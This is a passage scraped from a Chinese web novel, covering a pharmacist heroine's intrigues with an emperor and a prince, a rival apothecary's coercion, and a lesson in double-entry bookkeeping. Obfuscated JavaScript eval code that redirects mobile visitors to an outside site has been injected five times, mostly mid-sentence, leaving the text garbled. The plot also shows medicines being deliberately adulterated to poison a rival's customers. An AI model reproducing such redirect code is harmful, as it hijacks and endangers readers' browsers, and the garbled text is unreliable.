她在纸上画了个方块,然后将所有符号用线连起来:看见没有?冰敬被扣→李主事怨怼→新主事上任→赵侍郎势力扩张→频访玄妙观。这就是完整的线索链! 小三子举手问道:姐姐,可是赵侍郎去道观烧香,这有什么问题吗? 问题大了!姜绾歌冷笑,一个朝廷大员,三天两头往道观跑,说是烧香你信吗?肯定有鬼! 她放下笔,目光在几个孩子脸上扫过:所以接下来要做什么? 查!石头抢着回答,查那个道观有什么秘密! 聪明!姜绾歌满意地点头,阿福,这个任务交给你。明天你假扮香客去玄妙观,好好探探那个观主的底细。 是!东家!阿福应声道。 记住,姜绾歌叮嘱道,要自然一些,别让人看出破绽。多听多看少说话,把观主的行为举止都记清楚。 接下来的三天,阿福每天都去玄妙观烧香。他装成虔诚的信徒,在观内四处闲逛,仔细观察着观主的一举一动。 第三天傍晚,阿福兴奋地跑回杏林堂,脸上带着掩饰不住的兴奋。 东家!查到了!他一进门就大声喊道,那个观主果然有问题! 别嚷嚷,小点声!姜绾歌连忙制止,进屋说! 在后院的密室里,阿福详细汇报了他的发现:东家,那个观主表面上清心寡欲,实际上贪得很!我看见他的房间里藏着好多宝贝! 什么宝贝?姜绾歌追问。 最值钱的是一整箱辽东野参!阿福压低声音说,那些参须根分明,个个都有小孩胳膊那么粗,一看就是上品! 辽东野参?姜绾歌眼中闪过一丝精光,那可是珍品中的珍品,一根就值几十两银子!一个道士哪来这么多钱买参? 对啊!阿福点头,而且我还发现,每次赵侍郎来的时候,观主都会单独接待,其他香客一律不许靠近。 姜绾歌在房间里来回踱步,脑中快速分析着这些信息。辽东野参、赵侍郎、玄妙观...这些线索之间一定有什么联系。 正当她思考的时候,石头忽然开口:姐姐,我想起一件事! 什么事? 前几天王爷养伤的时候,我听他说过,赵侍郎掌管的是矿税司,石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100543|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力回忆着,专门负责各地矿山的税收。 矿税司?姜绾歌心头一震,辽东...矿税...野参... 突然间,所有的线索都串联起来了!辽东不仅盛产野参,更有丰富的矿藏!赵侍郎掌管矿税,完全有机会中饱私囊! 妈的!原来如此!她一拍桌子,这个赵侍郎利用职务之便,在辽东搞**!野参只是他的赃物之一! 几个孩子听得目瞪口呆,没想到姜绾歌竟然能从这些零碎的线索中推断出这么大的案子。 姐姐,那咱们要怎么办?小三子问道。 当然是......姜绾歌话说到一半,忽然停住了。她想起了顾云霁受伤的事,心中涌起一阵复杂的情绪。 这几天她一直在思考一个问题:顾云霁为什么会在这个时候受伤?而且伤得这么巧,正好让顾铭轩派御医来探望? 更要命的是,顾铭轩的反应速度快得离奇。顾云霁刚到杏林堂,御医就跟着来了,这说明什么?说明顾铭轩对顾云霁的行踪,甚至对杏林堂的动静都了如指掌! 该死的,她心中暗骂,这两个男人到底在玩什么把戏? 顾云霁的任务是什么?是真的遇到埋伏,还是故意受伤来试探她?他说的黑曼蛇毒是真的,但伤势的严重程度...会不会有水分? 而顾铭轩派御医来的真正目的是什么?是关心顾云霁,还是想通过这种方式监视她? 姐姐?姐姐?石头的声音把她从沉思中拉回现实。 啊?什么事?她回过神来。 您刚才说到一半就不说了,咱们对付赵侍郎要怎么办? 姜绾歌看着围坐的几个孩子,心中忽然涌起一阵感动。这些孩子是真心跟着她的,不像那两个男人,各有各的心思。 听好了,她严肃地说,我要跟你们说件最重要的事。 几个孩子立刻坐直身子,认真倾听。 做我的人,最重要的是什么?她一字一句地说,是忠诚!忠诚高于一切! 第200章 仁德堂 无论什么时候,无论遇到什么诱惑,你们都要记住,只能对我一个人忠诚!她的眼神在每个人脸上停留,谁要是背叛我,老娘绝不轻饶! 是!姐姐!几个孩子齐声回答。 但说完这话,姜绾歌心中却五味杂陈。她要求手下绝对忠诚,可她自己呢?在顾铭轩和顾云霁之间,她到底该忠于谁? 或者说...她真的能确定这两个男人对她是真心的吗? 正当她陷入沉思时,门外传来轻微的敲门声。 谁?她警觉地问道。 东家,有人送信。外面传来小二的声音。 姜绾歌走出密室,接过信件一看,没有署名,但字迹很熟悉——是顾云霁的笔迹。 她拆开信封,里面是一份详细的分析报告。 报告内容极其详细,不仅证实了赵侍郎利用职务之便在辽东搞**,还提到了玄妙观观主的身份背景——此人原是辽东一带的参商,后来出家做道士,实际上是赵侍郎的白手套。 更重要的是,报告中还提到了一个关键信息:赵侍郎在辽东的银矿中私设炉子,铸造私钱,获利巨大。 这...这怎么可能?姜绾歌看着报告,心中震惊不已。 这份报告的内容和她刚才教导孩子们分析的线索完全吻合,甚至更加详细。这说明什么?说明顾云霁早就知道赵侍郎的事,甚至可能一直在调查! 而他在这个时候送来这份报告,是什么意思?是对她刚才课堂内容的补充?还是一种无声的辩解或示好? 姜绾歌越想越觉得不对劲。顾云霁的行为太巧合了,就像是在告诉她:我没有骗你,我是真的在做正事。 但这恰恰让她更加怀疑。 如果顾云霁早就知道赵侍郎的事,为什么不早点告诉她?为什么要等到现在?而且他受伤的时间点也太巧了,刚好在她开始调查赵侍郎的时候... 该不会...她心中冒出一个可怕的想法,顾云霁的伤是假的?这一切都是演戏? 如果真是这样,那么顾铭轩派御医来探望,也可能是配合演出。两兄弟表面对立,实际上可能在联手对付她! 不对,不对,她摇摇头,如果他们真的联手,何必这么复杂?直接抓我不就行了? 但另一种可能更加可怕:顾云霁和顾铭轩确实是对立的,但都在利用她。她就像两个猎人眼中的猎物,以为自己在选择主人,实际上早就被算计了。 想到这里,姜绾歌只觉得背脊发凉。 她重新回到密室,看着围坐的几个孩子,心中暗暗发誓:无论那两个男人在玩什么把戏,她都要保护好这些真心跟随她的人。 石头,她开口道,赵侍郎的事暂时不要轻举妄动,咱们先观察观察。 为什么?石头不解。 因为...姜绾歌顿了顿,因为这里面的水太深了,稍有不慎就会把咱们都拖下去。 她没有把真正的担心说出来,但心中已经做好了最坏的打算。如果顾云霁和顾铭轩真的在联手算计她,那她就要提前做好逃跑的准备。 记住我刚才说的话,她再次强调,忠诚高于一切。无论发生什么事,你们只听我一个人的命令。 是!姐姐!几个孩子再次齐声回答。 夜深了,孩子们各自散去。姜绾歌独自坐在密室里,看着手中的那份报告,心情复杂得很。 顾云霁啊顾云霁,你到底在想什么?这份报告是真心帮助,还是另有所图? 而顾铭轩那边,他的沉默更让人摸不透。自从上次摊牌后,他就再也没有主动找过她,但那些暗中的监视却从未停止。 妈的,她咬牙切齿,老娘被夹在两个男人中间,进退两难! 但无论如何,她都不会坐以待毙。既然这两个男人都不可信,那她就要靠自己的力量在这个危险的世界中生存下去。 赵侍郎的事是个突破口,但也可能是个陷阱。她必须小心谨慎,一步一步地摸清真相。 窗外夜风****,带着一丝凉意。姜绾歌看着烛光摇曳,心中下定决心: 无论前路多么凶险,她都要为自己,也为这些跟随她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100544|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子们,杀出一条血路来! 秋日的午后,杏林堂里顾客不多,姜绾歌正在柜台后整理新到的药材。自从上次教导孩子们分析线索后,她对周围的一切都格外警惕,总觉得有双看不见的眼睛在暗中观察着她的一举一动。 东家,有客人来了!阿福从门外跑进来,脸色有些紧张,是仁德堂的东家,还带了好几个伙计。 姜绾歌眉头一皱。仁德堂是京城最大的药材商之一,之前因为她抢了不少生意,双方关系一直不太融洽。今天突然登门,肯定没什么好事。 让他们进来吧,她放下手中的药材,老娘倒要看看他们想干什么。 不一会儿,仁德堂的东家陈富贵就大摇大摆地走了进来。这是个五十多岁的胖子,满脸横肉,一看就不是善茬。他身后跟着四五个彪形大汉,个个凶神恶煞。 姜老板,久仰久仰!陈富贵皮笑肉不笑地拱手,今日登门,是有笔大买卖要跟您商量。 什么买卖?姜绾歌冷冷地问,心中已经有了不好的预感。 是这样的,陈富贵从怀里掏出一份契约,我想收购杏林堂三成的股份,价格好商量。 收购股份?姜绾歌冷笑,陈东家真是说笑了,老娘的杏林堂好端端的,为什么要卖股份给你? 姜老板别急着拒绝,陈富贵阴笑着说,您先看看我带来的诚意。 说着,他示意身后的一个伙计。那伙计立刻上前,将手中的锦盒放在柜台上,恭敬地打开盒盖。 锦盒里放着一支人参,足有成年人小臂那么粗,须根分明,一看就是极品。但姜绾歌仔细一看,眉头顿时紧锁——这支参虽然外表完整,但参体上有密密麻麻的小孔,明显是被虫蛀过的废品。 这就是您的诚意?她指着那支参,语气讥讽,一支虫蛀的烂参? 姜老板这话就不对了,陈富贵装作受伤的样子,这可是百年老参,价值千金!我愿意用它抵三成股份,已经很有诚意了! 诚意个屁!姜绾歌怒了,这破参虫蛀成这样,连柴火都不如,你还敢拿来糊弄人? 第201章 被威胁 姜老板说话可要小心,陈富贵脸色阴沉下来,这支参是我花大价钱从关外收来的,容不得您这样诋毁! 诋毁?姜绾歌冷笑一声,突然抬手将锦盒掀翻,老娘就是要诋毁,你能怎么样? 锦盒啪的一声摔在地上,那支珍贵的人参滚落出来。姜绾歌上前一脚踩断,只见参体内部全是黑色的虫洞,还有几只肥胖的蛀虫爬了出来。 看见没有?她指着地上的烂参,虫蛀成这样还敢说是百年老参?陈东家,你这是把老娘当傻子耍吗? 围观的顾客们发出一阵惊呼,纷纷指指点点。有人认出了陈富贵的身份,更是议论纷纷: 这不是仁德堂的东家吗?怎么拿烂参来糊弄人? 亏得姜大夫眼尖,不然就被骗了! 仁德堂的信誉看来也不怎么样啊! 陈富贵见事情败露,脸色变得铁青。他恶狠狠地瞪着姜绾歌:姜老板,你这是不给面子啊! 给面子?姜绾歌冷笑,你配吗?拿破烂来骗人还要面子? 好!很好!陈富贵怒极反笑,既然姜老板不识抬举,那就别怪我不客气了! 他挥挥手,身后的几个大汉立刻围了上来。但姜绾歌丝毫不惧,反而摆出了战斗的架势。 想动手?她摸向腰间的银针,老娘奉陪到底! 慢着!陈富贵制止了手下,阴笑着说,我可不是要动手,只是想告诉姜老板一个消息。 什么消息? 从今天开始,仁德堂不再向杏林堂供应滇三七,陈富贵得意地说,您的金疮药没了原料,看您还怎么做生意! 这话如同晴天霹雳!姜绾歌脸色瞬间变得苍白。滇三七是金疮药的主要原料,而仁德堂是京城最大的滇三七供应商,如果他们断供,杏林堂的主打产品就要停产了。 你们没有理由断供!她咬牙说道,咱们有合同的! 合同?陈富贵从怀里掏出一份文书,您看清楚,合同上写得明明白白,如果采购方有损害供应方声誉的行为,供应方有权终止合作! 您刚才当众说我们的参是烂货,这不是损害声誉是什么?他得意洋洋地说,所以从法理上讲,我们完全有理由断供! 姜绾歌气得浑身发抖。这个陈富贵真是老奸巨猾,先用烂参激怒她,然后利用她的反应来终止合同,整个过程环环相扣,显然是早有预谋。 姜老板,现在知道厉害了吧?陈富贵笑眯眯地说,不过我这人心软,还是愿意给您一个机会。只要您同意转让三成股份,我立刻恢复供应,而且价格比以前还便宜! 这就是他的真正目的!姜绾歌终于明白了,这个老狐狸是想强行收购杏林堂的股份,用断供来要挟她就范。 做梦!她咬牙切齿,老娘宁可关门大吉,也不会向你妥协! 是吗?陈富贵冷笑,那咱们就走着瞧吧!我看您能撑多久! 说完,他带着手下扬长而去,只留下一地的烂参和围观的顾客。 姜绾歌看着满地狼藉,心中五味杂陈。仁德堂这一招确实狠毒,断了滇三七的供应,她的金疮药生意就要完蛋。 东家,咱们怎么办?阿福担心地问道。 还能怎么办?姜绾歌恶狠狠地说,想别的办法找原料呗! 话虽这么说,但她心中清楚,在京城要找到质量稳定的滇三七供应商谈何容易?特别是仁德堂肯定会暗中使坏,阻挠其他商家与她合作。 正当她一筹莫展的时候,门外传来熟悉的脚步声。她抬头一看,心头一跳——顾铭轩来了! 他今天穿着便服,脸色阴沉,显然心情不佳。看到店里的混乱情况,他眉头紧锁。 绾绾,这是怎么回事?他直接问道。 没什么,就是来了几个不长眼的,姜绾歌随口回答,陛下怎么来了? 顾铭轩没有回答她的问题,而是仔细查看地上的烂参和锦盒碎片。以他的阅历,很快就猜出了事情的经过。 仁德堂的人?他冷声问道。 姜绾歌点点头,没有否认。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104427|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们威胁你了?顾铭轩的声音更冷了。 也算不上威胁,就是想强买强卖,姜绾歌强作轻松,不过被老娘拒绝了。 顾铭轩深深看了她一眼,然后说出了一番让她震惊的话: 绾绾,只要你开口,朕可以下旨令其供应,或者...他停顿了一下,直接将其产业收归内务府予你。 这话说得轻描淡写,但其中蕴含的意思却让姜绾歌心头狂跳。顾铭轩这是要动用皇权直接解决问题!一道圣旨下去,不仅能让仁德堂乖乖供货,甚至能直接抄家夺产! 但她也清楚,接受这样的帮助意味着什么——彻底归附,成为皇帝的附庸! 陛下...她犹豫了片刻,然后坚定地摇头,谢陛下厚爱,此事我想自己解决。 顾铭轩听了这话,眼中闪过一丝失望,随即被愤怒取代:自己解决?绾绾,你觉得凭你一个人,能斗得过仁德堂? 斗不过也要斗!姜绾歌倔强地抬起头,老娘不愿意欠人情! 人情?顾铭轩怒极反笑,朕帮你,还需要什么人情? 两人对视着,空气中弥漫着一种紧张的气氛。最终,顾铭轩深深看了她一眼,转身离开了。 陛下...姜绾歌想要叫住他,但话到嘴边又咽了回去。 等顾铭轩走后,姜绾歌瘫坐在椅子上,只觉得心力交瘁。她知道自己又一次伤了顾铭轩的心,但她真的无法接受那种被人控制的感觉。 东家,您真的要拒绝陛下的帮助吗?阿福小心翼翼地问道。 拒绝了就拒绝了,姜绾歌咬牙道,大不了想别的办法! 她在店里来回踱步,思考着对策。突然,她想起了顾云霁。虽然那个男人也不可完全信任,但至少他有军方的渠道,说不定能弄到滇三七。 阿福,你去王府送个信,她下定决心,就说我有急事求见王爷。 傍晚时分,顾云霁如约而至。他的伤势已经基本痊愈,脸色也恢复了往日的红润,只是走路时还有些小心翼翼。 第202章 兴师问罪 姜大夫这么急着见本王,是有什么要紧事?他坐下后,语气依然是那种慵懒的调子。 姜绾歌将今天发生的事情详细说了一遍,包括陈富贵的威胁和顾铭轩的提议。 "仁德堂"?顾云霁听完后冷笑一声,跳梁小丑罢了。 王爷有办法对付他们?姜绾歌眼中闪过一丝希望。 对付?顾云霁轻蔑地笑了,本王帮你解决这个麻烦,就当还你一条命,如何? 真的?姜绾歌激动地问道。 本王什么时候说话不算数?顾云霁站起身来,三日之内,保证让仁德堂知道厉害。 当夜,京城笼罩在一片宁静中。仁德堂的货仓里,几个黑衣人悄无声息地潜了进来。他们动作娴熟,显然是训练有素的高手。 其中一人打开随身携带的小布袋,里面装着白色的粉末——巴豆粉。这东西有剧烈的泻下作用,少量服用能通便,过量则会导致严重腹泻。 另一人则拿出几包已经霉变的当归,开始与仓库里的新鲜当归混合。这些霉变药材不仅没有药效,反而有害健康。 几个人分工合作,在各种药材中都掺入了巴豆粉或霉变药材。做完这一切,他们又悄无声息地离开了,就像从来没有来过一样。 三日后的上午,仁德堂里突然传出一阵喧哗声。 陈东家!出大事了!伙计慌慌张张地跑进来汇报,昨天买咱们药的客人都拉肚子了!现在好多人堵在门口要说法呢! 什么?陈富贵大惊,怎么可能?咱们的药一向没问题啊! 话音未落,门外就涌进来十几个客人,个个脸色难看,显然都受了不少罪。 陈东家!你们卖的是什么破药?一个商贾怒气冲冲地质问,我昨天买了包胃散,吃了之后拉了一夜,差点没把命丢了! 对啊!我买的安胎药也有问题!一个妇人哭哭啼啼,吃了之后不但没安胎,反而险些流产! 还有我的补肾丸,吃了之后比以前更虚了! 客人们七嘴八舌地控诉着,陈富贵听得冷汗直冒。他连忙派人去检查药材,结果发现库存中确实混入了大量霉变和掺假的药物。 这...这怎么可能?他瞪大眼睛,是谁干的? 但无论如何解释,仁德堂的信誉已经彻底崩坏了。消息不胫而走,很快传遍了整个京城。以诚信立业的药铺,一旦出现这种丑闻,基本上就是死路一条。 姜绾歌听到消息后,心中既惊又喜。她没想到顾云霁的手段如此狠辣,三天就把仁德堂搞垮了。 但与此同时,她也有些担心。顾云霁能这么轻易地搞垮仁德堂,说明他的势力比她想象的还要庞大。这样的人,到底可不可信? 正当她胡思乱想时,阿福兴奋地跑进来:东家!好消息!有三家药商主动来找咱们,说要供应滇三七! 真的?姜绾歌眼睛一亮。 真的!而且价格比仁德堂还便宜!阿福兴奋地说,看来仁德堂这次真的完蛋了! 姜绾歌点点头,心情复杂。顾云霁确实帮了她大忙,但她总觉得这背后还有更深的含义。 这时,门外传来马蹄声。她透过窗棂一看,只见顾铭轩又来了,而且脸色比之前更加阴沉。 顾铭轩刚一进门,姜绾歌就感觉到了空气中那股压抑的氛围。他今日穿着玄色的常服,面无表情,那双深邃的眼睛里闪着危险的光芒。 绾绾,朕听说你找皇弟帮忙了?他的声音很平静,但姜绾歌能听出其中的怒意。 陛下......她刚想解释,就被他挥手打断。 朕不是来兴师问罪的,顾铭轩看了看店里的情况,朕只想知道,你宁愿去求皇弟,也不愿意接受朕的帮助,是为什么? 这个问题如同利剑直刺心脏。姜绾歌咬了咬嘴唇,最终还是说出了心里话:陛下,我不想欠太大的人情。 人情?顾铭轩苦笑,朕和你之间,还需要谈人情吗? 姜绾歌看着他眼中的痛苦,心中也不好受。但她不能说出真正的原因——她害怕完全依赖任何一个男人,哪怕是皇帝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104428|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陛下,我...... 算了,顾铭轩摆手,朕明白了。既然你有自己的选择,朕不会强求。 说完这话,他深深看了她一眼,转身离开了。 姜绾歌看着他离去的背影,心情五味杂陈。她知道这次是真的伤了顾铭轩的心,但事已至此,只能走一步看一步了。 东家,您没事吧?阿福小心翼翼地问道。 没事,忙正事去,姜绾歌强打精神,通知所有人,今晚在醉仙楼后院开会,我有重要的事要宣布。 夜幕降临,醉仙楼后院的一间密室里点着几盏油灯。姜绾歌坐在桌前,面前摊着几本厚厚的账册,还有一些她亲手绘制的图表。 石头、小三子、二狗、阿福等几个心腹都到齐了,就连三楼静室里的陈墨也被叫了下来。 你们都是老娘最信任的人,姜绾歌开门见山,今天要教你们一套全新的记账方法,这关系到咱们以后的生死存亡。 几个人都竖起耳朵,认真倾听。 先看看咱们现在的账本,她翻开一本旧账册,收入记收入,支出记支出,乱七八糟的,根本看不出门道。 确实如此,传统的记账方法就是流水账,只记录银钱的进出,无法反映真实的经营状况。 从今天开始,咱们要用新方法,姜绾歌拿出一本崭新的账册,这叫复式记账法。 她翻开账册,只见每一页都被分成两栏,左边写着借方,右边写着贷方。 看好了,左侧记录咱们拥有的东西,比如杏林堂的药材库存、醉仙楼的营收流水,她用手指着左栏,这些都是咱们的资产。 右侧记录咱们欠别人的东西,比如应付的工钱、租金,她又指向右栏,这些是咱们的负债。 石头举手问道:姐姐,为什么要分成两边记? 因为这样才能看清楚咱们的真实情况,姜绾歌耐心解释,你想啊,如果只记收支,你知道这个月到底赚了多少钱吗?知道咱们总共有多少家底吗? 几个人摇摇头,确实不知道。 第203章 新方法 用了新方法就不一样了,她指着账册上的数字,左边减去右边,就是咱们真正的净资产。而且每一笔账都要有来龙去脉,绝对不会出错。 接下来,她开始手把手地教导几个人如何使用新的记账法。 比如说,今天杏林堂卖了五十两银子的药,她在左栏写下现银五十两,然后在右栏写下药材库存减少五十两,这样一记,左右两边就平衡了。 再比如,今天给伙计发了工钱二十两,她又做示范,左栏记"现银减少二十两",右栏记"应付工钱减少二十两"。 小三子看得目瞪口呆:姐姐,这也太复杂了吧? 复杂?姜绾歌瞪眼,这叫精确!用了这套方法,咱们每一文钱的去向都清清楚楚,谁也糊弄不了咱们! 她又翻到另一页,上面画着一个更复杂的图表:这叫资产负债表,记录咱们某个时间点的全部家底。 这边是杏林堂的药材价值八百两,醉仙楼的装修设备价值五百两,现银三百两,她指着左边的数字,加起来是一千六百两,这就是咱们的总资产。 右边是欠药商的货款一百两,欠工人的工钱五十两,还有各种租金五十两,她又指向右边,总共二百两负债。 一千六百减去二百,等于一千四百两,这就是咱们真正的净资产! 陈墨在旁边听得津津有味,作为读书人,他对这种精密的计算方法特别感兴趣。 姜大夫,这套方法真是巧妙,他忍不住赞叹,不仅能记录收支,还能随时掌握全部家产的情况。 那是当然!姜绾歌得意地说,这可是老娘独创的方法,你们谁也不许外传! 姐姐放心,我们绝对不会说出去的!石头连忙保证。 姜绾歌严肃地看着在场的每个人:记住,这套记账法是咱们的核心机密,关系到生死存亡。谁要是敢泄露半个字,老娘绝不轻饶! 是!姐姐!几个人齐声回答。 接下来的两个时辰,姜绾歌详细讲解了复式记账的各种规则和技巧。从最基本的借贷平衡原理,到复杂的成本核算方法,每一个细节都不放过。 还有这个,她又拿出一张新的表格,这叫损益表,专门记录咱们每个月的盈亏情况。 表格上清楚地列出了各项收入和支出:药材销售收入、餐饮收入、原料成本、人工成本、租金成本等等,最后算出净利润。 **,原来咱们上个月赚了这么多钱!阿福看着最后的数字,兴奋地说道。 别高兴太早,姜绾歌泼冷水,赚钱容易,关键是要知道钱都花到哪去了,哪些地方还能省。 她指着表格上的各项数字:你们看,人工成本占了总收入的三成,租金占了一成半,原料成本占了四成。这样分析下来,咱们就知道该从哪里下手了。 陈墨越听越震撼。作为一个读书人,他见过很多账册,但从来没见过这么精密、这么科学的记账方法。 姜大夫,您这套方法简直是神来之笔,他由衷地赞叹,如果朝廷的户部也能用这种方法,国库的账目就不会糊涂了。 那当然,姜绾歌骄傲地说,老娘这脑子,比那些户部官员强多了! 为了让大家更好地理解,她又拿出一块小黑板,在上面写下了一个公式: 资产=负债+权益 记住这个公式,她敲着黑板,这是整套记账法的核心。资产就是咱们拥有的东西,负债就是欠别人的东西,权益就是真正属于咱们的东西。 为什么是加号?二狗不解地问。 因为权益也是一种负债啊,姜绾歌解释道,是咱们欠自己的钱!你想想,如果杏林堂解散了,所有资产卖掉,还完外债后剩下的钱归谁? 归咱们自己!石头恍然大悟。 对!所以权益就是咱们对自己的负债,姜绾歌满意地点头,这个公式永远成立,左边等于右边,一分钱都不能差! 陈墨看着黑板上的公式,眼中满是震撼。这个简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113437|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的等式,竟然能如此清晰地反映商业经营的本质。 姜大夫,您这套理论可以写成书啊,他激动地说,如果推广开来,对整个商业界都是巨大的贡献! 写书?姜绾歌摇头,老娘可没那个闲工夫。再说了,这套方法是咱们的独门秘籍,怎么能随便传出去? 她收起黑板和账册,严肃地看着众人:从明天开始,所有的账目都要用新方法记录。石头、阿福,你们两个负责杏林堂的账;小三子、二狗,你们负责醉仙楼的账。 每天晚上,所有账目都要核对一遍,确保借贷平衡。如果对不上账,就要找出问题在哪里,直到分毫不差为止。 那我呢?陈墨问道。 你?姜绾歌看了他一眼,你是读书人,脑子好使,负责汇总分析。每个月出一份详细的财务报告,包括资产负债表、损益表,还有各种分析图表。 是!学生一定好好做!陈墨激动地应道。 还有一点最重要,姜绾歌的声音变得更加严厉,这套记账法是咱们的命根子,任何人都不许泄露。谁要是敢把方法教给外人,老娘亲手宰了他! 几个人都被她的语气吓了一跳,连忙点头保证。 散会后,陈墨独自留了下来。他看着桌上的账册和图表,心中感慨万千。 姜大夫,学生有个疑问,他开口道,您这套方法这么精妙,是从哪里学来的? 姜绾歌看了他一眼,淡淡地说:老娘自己琢磨出来的,有什么问题吗? 没有问题,只是...陈墨犹豫了一下,这套理论的深度和广度,已经超越了普通的商业技巧,更像是一门完整的学问。 学问?姜绾歌冷笑,老娘只管实用,管他什么学问不学问的。 虽然嘴上这么说,但她心中却有些得意。复式记账法确实是她从现代带来的知识,在这个时代绝对是超前的。 对了,她忽然想起什么,春闱还有一个月就要开始了,你准备得怎么样? 第204章 贵妇珍品 学生会全力以赴,陈墨郑重地说,绝不辜负姜大夫的恩情。 别光说不练,姜绾歌警告道,要是考不中,那扇紫檀屏风你可赔不起。现在又多了这套记账法的教学时间,你更得加倍努力了。 学生明白!陈墨拱手道。 夜深了,密室里的油灯开始摇曳。 姜绾歌收拾好所有的账册和图表,心中颇为满意。 这套复式记账法不仅能帮她更好地管理生意,更重要的是建立了一套完善的财务控制体系。 有了这套系统,她就能随时掌握自己的真实财务状况,任何风吹草动都逃不过她的眼睛。 而且这还是培养心腹的好方法,通过教授先进的管理技能,能让这些孩子们更加忠诚地跟随她。 “这步棋下得不错,”她自言自语,嘴角带着一丝运筹帷幄的笑意,“有了这套记账法,就算顾铭轩和顾云霁那边有变数,我也能牢牢掌控局面,把生意做得更大更强。” 月光透过窗棂洒进密室,在账册上投下斑驳的影子。 姜绾歌看着这些记录着她心血的账本,心中涌起一股前所未有的自信。 这个时代的商**多凭经验和直觉做生意,缺乏科学的管理方法。 而她掌握了复式记账这个利器,就如同在商战中拥有了一双洞察秋毫的眼睛。 “等着瞧吧,”她目光坚定,仿佛穿透了眼前的账册,看到了更广阔的未来,“我要在这个世界,闯出一片真正属于我的天地来!” 八月的京城,骄阳似火,暑气蒸腾。 蝉鸣声嘶力竭地穿透空气,宣告着盛夏的酷热。 姜绾歌只着一件素雅的薄绸夏衫,外罩一件轻透的纱质披风用以稍作遮阳,饶是如此,额角也沁出了细密的汗珠。 她站在城西一处破败的作坊前,凝神审视着眼前这栋被烟火熏燎得乌黑的厂房。 这里,便是她看中的新目标。 “东家,这地方真要盘下来?”阿福站在一旁,不停地用袖子擦着汗,热浪让他的声音都有些发蔫,“这琉璃厂都倒闭三个月了,里面的家伙事儿都锈得不成样子了。” “生锈怕什么?” 姜绾歌推开厂房那扇吱呀作响、布满尘灰的木门,一股混合着霉味和焦糊味的闷热气息扑面而来,让她微微蹙眉。 “我们又不是要做那些老式的琉璃玩意儿。西域传来的玻璃制法,才是真正的生财之道。”她的语气带着笃定,目光锐利地扫视着厂房内部。 她在积满灰尘和废弃物的空间里缓缓踱步,避开散落的碎砖和瓦砾。 虽然设备陈旧蒙尘,甚至不少地方都锈迹斑斑,但基本的熔炉灶台、工作台等骨架仍在。 最重要的是,这位置极佳,距离醉仙楼不算远,无论是原料运输还是成品出货都非常便利。 “石头,” 她果断下令,声音在空旷的厂房里带着回音,“去找这琉璃厂的原东家,就说我要接手这里。价钱可以谈,但现有的设备,一件都不能少,必须全部留下!” 三天后,姜绾歌以八十两银子的价格,正式将这处琉璃作坊收入囊中。 价格不算低廉,但想到即将开展的新事业蓝图,她只觉得这笔投入物有所值。 “从今天起,这里就是我们全新的琉璃工坊!” 她召集了十几个手艺尚可的工匠,站在清理出的一片空地上宣布。 夏日的热风吹拂着她的薄纱披风。 “不过,我们不生产普通的琉璃器皿,我们要做的,是前所未有、专属于贵妇们的珍品!” 她从容地从怀中取出一卷精心绘制的图纸,刷地一声展开。 图纸上,画满了形态各异、精美绝伦的小瓶子设计图:有含苞待放的梅瓶,有亭亭玉立的莲瓶,还有瓶身上缠绕着繁复缠枝纹或镶嵌着金箔、银线的奢华款样。 工匠们好奇地围拢过来,待看清图纸上的设计,无不倒吸一口凉气,脸上写满了惊疑和不确 